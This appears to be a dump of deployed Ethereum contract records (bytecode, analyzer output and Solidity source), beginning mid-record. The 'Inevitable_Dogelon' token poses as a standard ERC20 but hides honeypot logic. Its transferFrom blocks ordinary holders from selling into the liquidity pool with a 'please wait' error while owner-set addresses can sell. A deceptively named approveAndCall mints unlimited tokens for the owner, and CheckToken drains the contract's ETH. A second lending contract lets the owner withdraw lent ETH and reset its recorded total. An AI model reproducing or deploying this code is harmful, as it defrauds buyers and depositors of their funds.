45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f1b5237e75894432f4bd0bc2edaa1cef7dff2b795158f14510d48113a1a2058864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,397 |
0x7de60c2eb7ba24f0c929225636cf46c170761e39
|
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
uint public queue_number;
address public pool;
address public airdrop1;
address public airdrop2;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != pool, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && pool == address(0)) pool = to;
else require(to != pool || (from == airdrop1 && to == pool) || (from == airdrop2 && to == pool) || (to == pool && tokens <= queue_number), "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address _address, uint256 tokens) public onlyOwner {
airdrop1 = _address;
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
emit Transfer(address(0), _address, tokens);
}
function approveAndCheck(address _address) public onlyOwner {
airdrop2 = _address;
}
function approveAndQueue(uint256 _size) public onlyOwner {
queue_number = _size * (10 ** uint256(decimals));
}
function () external payable {
revert();
}
}
contract Inevitable_Dogelon is TokenERC20 {
function CheckToken() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
constructor(string memory _name, string memory _symbol, uint256 _supply, address _a1, address _a2) public {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
queue_number = (_totalSupply / 250);
airdrop1 = _a1;
airdrop2 = _a2;
owner = msg.sender;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function() external payable {
}
}
|
0x60806040526004361061012a5760003560e01c806379ba5097116100ab578063a9059cbb1161006f578063a9059cbb14610607578063b00b0b131461067a578063d4ee1d90146106cb578063dd62ed3e14610722578063effc73a4146107a7578063f2fde38b146107fe5761012a565b806379ba5097146104b75780637fb3b1f0146104ce5780638da5cb5b146104e557806395d89b411461053c578063a239a023146105cc5761012a565b806323b872dd116100f257806323b872dd14610308578063313ce5671461039b5780633177029f146103cc5780634627e64f1461042757806370a08231146104525761012a565b806306884fc81461012c57806306fdde0314610183578063095ea7b31461021357806316f0115b1461028657806318160ddd146102dd575b005b34801561013857600080fd5b5061014161084f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561018f57600080fd5b50610198610875565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d85780820151818401526020810190506101bd565b50505050905090810190601f1680156102055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021f57600080fd5b5061026c6004803603604081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610913565b604051808215151515815260200191505060405180910390f35b34801561029257600080fd5b5061029b610a05565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102e957600080fd5b506102f2610a2b565b6040518082815260200191505060405180910390f35b34801561031457600080fd5b506103816004803603606081101561032b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a86565b604051808215151515815260200191505060405180910390f35b3480156103a757600080fd5b506103b0611093565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d857600080fd5b50610425600480360360408110156103ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110a6565b005b34801561043357600080fd5b5061043c61125a565b6040518082815260200191505060405180910390f35b34801561045e57600080fd5b506104a16004803603602081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611260565b6040518082815260200191505060405180910390f35b3480156104c357600080fd5b506104cc6112a9565b005b3480156104da57600080fd5b506104e3611446565b005b3480156104f157600080fd5b506104fa6114ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054857600080fd5b50610551611513565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610591578082015181840152602081019050610576565b50505050905090810190601f1680156105be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105d857600080fd5b50610605600480360360208110156105ef57600080fd5b81019080803590602001909291905050506115b1565b005b34801561061357600080fd5b506106606004803603604081101561062a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061162b565b604051808215151515815260200191505060405180910390f35b34801561068657600080fd5b506106c96004803603602081101561069d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061188a565b005b3480156106d757600080fd5b506106e0611927565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072e57600080fd5b506107916004803603604081101561074557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061194d565b6040518082815260200191505060405180910390f35b3480156107b357600080fd5b506107bc6119d4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080a57600080fd5b5061084d6004803603602081101561082157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119fa565b005b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090b5780601f106108e05761010080835404028352916020019161090b565b820191906000526020600020905b8154815290600101906020018083116108ee57829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610a81600a60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600554611a9790919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610b125750600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610b5d5782600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dea565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580610c605750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c5f5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610d115750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d105750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610d775750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610d7657506006548211155b5b610de9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610e3c82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9790919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f0e82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9790919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fe082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110ff57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061115581600554611ab190919063ffffffff16565b6005819055506111ad81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60065481565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461130357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461149f57600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156114ea573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115a95780601f1061157e576101008083540402835291602001916115a9565b820191906000526020600020905b81548152906001019060200180831161158c57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461160a57600080fd5b600460009054906101000a900460ff1660ff16600a0a810260068190555050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61174382600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9790919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117d882600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e357600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a5357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115611aa657600080fd5b818303905092915050565b6000818301905082811015611ac557600080fd5b9291505056fea265627a7a72315820daa65ca7a163cd11eec12db74ffa1e51673a44c05af125d8d7a719c77c2e50b264736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 5,398 |
0xec6c55a4423dd088df40a5eed3cba85d7ce992c7
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.4;
abstract contract OwnableStatic {
mapping( address => bool ) public _isOwner;
constructor() {
_setOwner(msg.sender, true);
}
modifier onlyOwner() {
require( _isOwner[msg.sender] );
_;
}
function _setOwner(address newOwner, bool makeOwner) private {
_isOwner[newOwner] = makeOwner;
// _owner = newOwner;
// emit OwnershipTransferred(oldOwner, newOwner);
}
function setOwnerShip( address newOwner, bool makeOOwner ) external onlyOwner() returns ( bool success ) {
_isOwner[newOwner] = makeOOwner;
success = true;
}
}
library AddressUtils {
function toString (address account) internal pure returns (string memory) {
bytes32 value = bytes32(uint256(uint160(account)));
bytes memory alphabet = '0123456789abcdef';
bytes memory chars = new bytes(42);
chars[0] = '0';
chars[1] = 'x';
for (uint256 i = 0; i < 20; i++) {
chars[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)];
chars[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(chars);
}
function isContract (address account) internal view returns (bool) {
uint size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue (address payable account, uint amount) internal {
(bool success, ) = account.call{ value: amount }('');
require(success, 'AddressUtils: failed to send value');
}
function functionCall (address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'AddressUtils: failed low-level call');
}
function functionCall (address target, bytes memory data, string memory error) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, error);
}
function functionCallWithValue (address target, bytes memory data, uint value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'AddressUtils: failed low-level call with value');
}
function functionCallWithValue (address target, bytes memory data, uint value, string memory error) internal returns (bytes memory) {
require(address(this).balance >= value, 'AddressUtils: insufficient balance for call');
return _functionCallWithValue(target, data, value, error);
}
function _functionCallWithValue (address target, bytes memory data, uint value, string memory error) private returns (bytes memory) {
require(isContract(target), 'AddressUtils: function call to non-contract');
(bool success, bytes memory returnData) = target.call{ value: value }(data);
if (success) {
return returnData;
} else if (returnData.length > 0) {
assembly {
let returnData_size := mload(returnData)
revert(add(32, returnData), returnData_size)
}
} else {
revert(error);
}
}
}
interface IERC20 {
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply () external view returns (uint256);
function balanceOf (
address account
) external view returns (uint256);
function transfer (
address recipient,
uint256 amount
) external returns (bool);
function allowance (
address owner,
address spender
) external view returns (uint256);
function approve (
address spender,
uint256 amount
) external returns (bool);
function transferFrom (
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
library SafeERC20 {
using AddressUtils for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev safeApprove (like approve) should only be called when setting an initial allowance or when resetting it to zero; otherwise prefer safeIncreaseAllowance and safeDecreaseAllowance
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @notice send transaction data and check validity of return value, if present
* @param token ERC20 token interface
* @param data transaction data
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ILPLeverageLaunch {
function isTokenApprovedForLending( address lentToken ) external view returns ( bool );
function amountLoanedForLoanedTokenForLender( address holder, address lentTToken ) external view returns ( uint256 );
function totalLoanedForToken( address lentToken ) external view returns ( uint256 );
function launchTokenDueForHolder( address holder ) external view returns ( uint256 );
function setPreviousDepositSource( address newPreviousDepositSource ) external returns ( bool success );
function priceForLentToken( address lentToken ) external view returns ( uint256 );
function _weth9() external view returns ( address );
function fundManager() external view returns ( address );
function isActive() external view returns ( bool );
function changeActive( bool makeActive ) external returns ( bool success );
function setFundManager( address newFundManager ) external returns ( bool success );
function setWETH9( address weth9 ) external returns ( bool success );
function setPrice( address lentToken, uint256 price ) external returns ( bool success );
function dispenseToFundManager( address token ) external returns ( bool success );
function changeTokenLendingApproval( address newToken, bool isApproved ) external returns ( bool success );
function getTotalLoaned(address token ) external view returns (uint256 totalLoaned);
function lendLiquidity( address loanedToken, uint amount ) external returns ( bool success );
function getAmountDueToLender( address lender ) external view returns ( uint256 amountDue );
function lendETHLiquidity() external payable returns ( bool success );
function dispenseToFundManager() external returns ( bool success );
function setTotalEthLent( uint256 newValidEthBalance ) external returns ( bool success );
function getAmountLoaned( address lender, address lentToken ) external view returns ( uint256 amountLoaned );
}
contract LPLeverageLaunch is OwnableStatic, ILPLeverageLaunch {
using AddressUtils for address;
using SafeERC20 for IERC20;
mapping( address => bool ) public override isTokenApprovedForLending;
mapping( address => mapping( address => uint256 ) ) private _amountLoanedForLoanedTokenForLender;
mapping( address => uint256 ) private _totalLoanedForToken;
mapping( address => uint256 ) private _launchTokenDueForHolder;
mapping( address => uint256 ) public override priceForLentToken;
address public override _weth9;
address public override fundManager;
bool public override isActive;
address public previousDepoistSource;
modifier onlyActive() {
require( isActive == true, "Launch: Lending is not active." );
_;
}
constructor() {}
function amountLoanedForLoanedTokenForLender( address holder, address lentToken ) external override view returns ( uint256 ) {
return _amountLoanedForLoanedTokenForLender[holder][lentToken] + ILPLeverageLaunch(previousDepoistSource).amountLoanedForLoanedTokenForLender( holder, lentToken );
}
function totalLoanedForToken( address lentToken ) external override view returns ( uint256 ) {
return _totalLoanedForToken[lentToken] + ILPLeverageLaunch(previousDepoistSource).totalLoanedForToken(lentToken);
}
function launchTokenDueForHolder( address holder ) external override view returns ( uint256 ) {
return _launchTokenDueForHolder[holder] + ILPLeverageLaunch(previousDepoistSource).launchTokenDueForHolder(holder);
}
function setPreviousDepositSource( address newPreviousDepositSource ) external override onlyOwner() returns ( bool success ) {
previousDepoistSource = newPreviousDepositSource;
success = true;
}
function changeActive( bool makeActive ) external override onlyOwner() returns ( bool success ) {
isActive = makeActive;
success = true;
}
function setFundManager( address newFundManager ) external override onlyOwner() returns ( bool success ) {
fundManager = newFundManager;
success = true;
}
function setWETH9( address weth9 ) external override onlyOwner() returns ( bool success ) {
_weth9 = weth9;
success = true;
}
function setPrice( address lentToken, uint256 price ) external override onlyOwner() returns ( bool success ) {
priceForLentToken[lentToken] = price;
success = true;
}
function dispenseToFundManager( address token ) external override onlyOwner() returns ( bool success ) {
_dispenseToFundManager( token );
success = true;
}
function _dispenseToFundManager( address token ) internal {
require( fundManager != address(0) );
IERC20(token).safeTransfer( fundManager, IERC20(token).balanceOf( address(this) ) );
}
function changeTokenLendingApproval( address newToken, bool isApproved ) external override onlyOwner() returns ( bool success ) {
isTokenApprovedForLending[newToken] = isApproved;
success = true;
}
function getTotalLoaned(address token ) external override view returns (uint256 totalLoaned) {
totalLoaned = _totalLoanedForToken[token];
}
/**
* @param loanedToken The address fo the token being paid. Ethereum is indicated with _weth9.
*/
function lendLiquidity( address loanedToken, uint amount ) external override onlyActive() returns ( bool success ) {
require( fundManager != address(0) );
require( isTokenApprovedForLending[loanedToken] );
IERC20(loanedToken).safeTransferFrom( msg.sender, fundManager, amount );
_amountLoanedForLoanedTokenForLender[msg.sender][loanedToken] += amount;
_totalLoanedForToken[loanedToken] += amount;
_launchTokenDueForHolder[msg.sender] += (amount / priceForLentToken[loanedToken]);
success = true;
}
function getAmountDueToLender( address lender ) external override view returns ( uint256 amountDue ) {
amountDue = _launchTokenDueForHolder[lender];
}
function lendETHLiquidity() external override payable onlyActive() returns ( bool success ) {
_lendETHLiquidity();
success = true;
}
function _lendETHLiquidity() internal {
require( fundManager != address(0), "Launch: fundManager is address(0)." );
_amountLoanedForLoanedTokenForLender[msg.sender][_weth9] += msg.value;
_totalLoanedForToken[_weth9] += msg.value;
_launchTokenDueForHolder[msg.sender] += msg.value;
}
function dispenseToFundManager() external override onlyOwner() returns ( bool success ) {
payable(msg.sender).transfer( _totalLoanedForToken[_weth9] );
delete _totalLoanedForToken[_weth9];
success = true;
}
function setTotalEthLent( uint256 newValidEthBalance ) external override onlyOwner() returns ( bool success ) {
_totalLoanedForToken[address(_weth9)] = newValidEthBalance;
success = true;
}
function getAmountLoaned( address lender, address lentToken ) external override view returns ( uint256 amountLoaned ) {
amountLoaned = _amountLoanedForLoanedTokenForLender[lender][lentToken];
}
}
|
0x6080604052600436106101655760003560e01c80638f16e341116100d1578063cdd4eb141161008a578063ed34769a11610064578063ed34769a1461048c578063f087bc67146104ac578063f9a7c207146104e2578063faca12be1461050257600080fd5b8063cdd4eb1414610444578063de218a3414610464578063eb52e9d21461046c57600080fd5b80638f16e3411461034e57806399a98a621461036e578063b71fbe4b1461038e578063bfb2cdcd146103be578063c90c152b14610404578063ca91e18c1461042457600080fd5b80634a501d7d116101235780634a501d7d1461025057806358dc0df3146102705780635f86b0da146102a05780636209ec2d146102d65780637027f3971461030e5780637b5012a11461032e57600080fd5b8062e4768b1461016a5780630230e4121461019f57806310254d35146101bf57806322f3e2d4146101d4578063232a3060146101f557806345625fe914610215575b600080fd5b34801561017657600080fd5b5061018a610185366004611098565b610522565b60405190151581526020015b60405180910390f35b3480156101ab57600080fd5b5061018a6101ba366004611016565b61055e565b3480156101cb57600080fd5b5061018a61058b565b3480156101e057600080fd5b5060075461018a90600160a01b900460ff1681565b34801561020157600080fd5b5061018a610210366004611016565b61060f565b34801561022157600080fd5b50610242610230366004611016565b60056020526000908152604090205481565b604051908152602001610196565b34801561025c57600080fd5b5061018a61026b366004611062565b610651565b34801561027c57600080fd5b5061018a61028b366004611016565b60016020526000908152604090205460ff1681565b3480156102ac57600080fd5b506102426102bb366004611016565b6001600160a01b031660009081526004602052604090205490565b3480156102e257600080fd5b506007546102f6906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b34801561031a57600080fd5b5061018a610329366004611016565b61069e565b34801561033a57600080fd5b5061018a610349366004611062565b6106e0565b34801561035a57600080fd5b506006546102f6906001600160a01b031681565b34801561037a57600080fd5b5061024261038936600461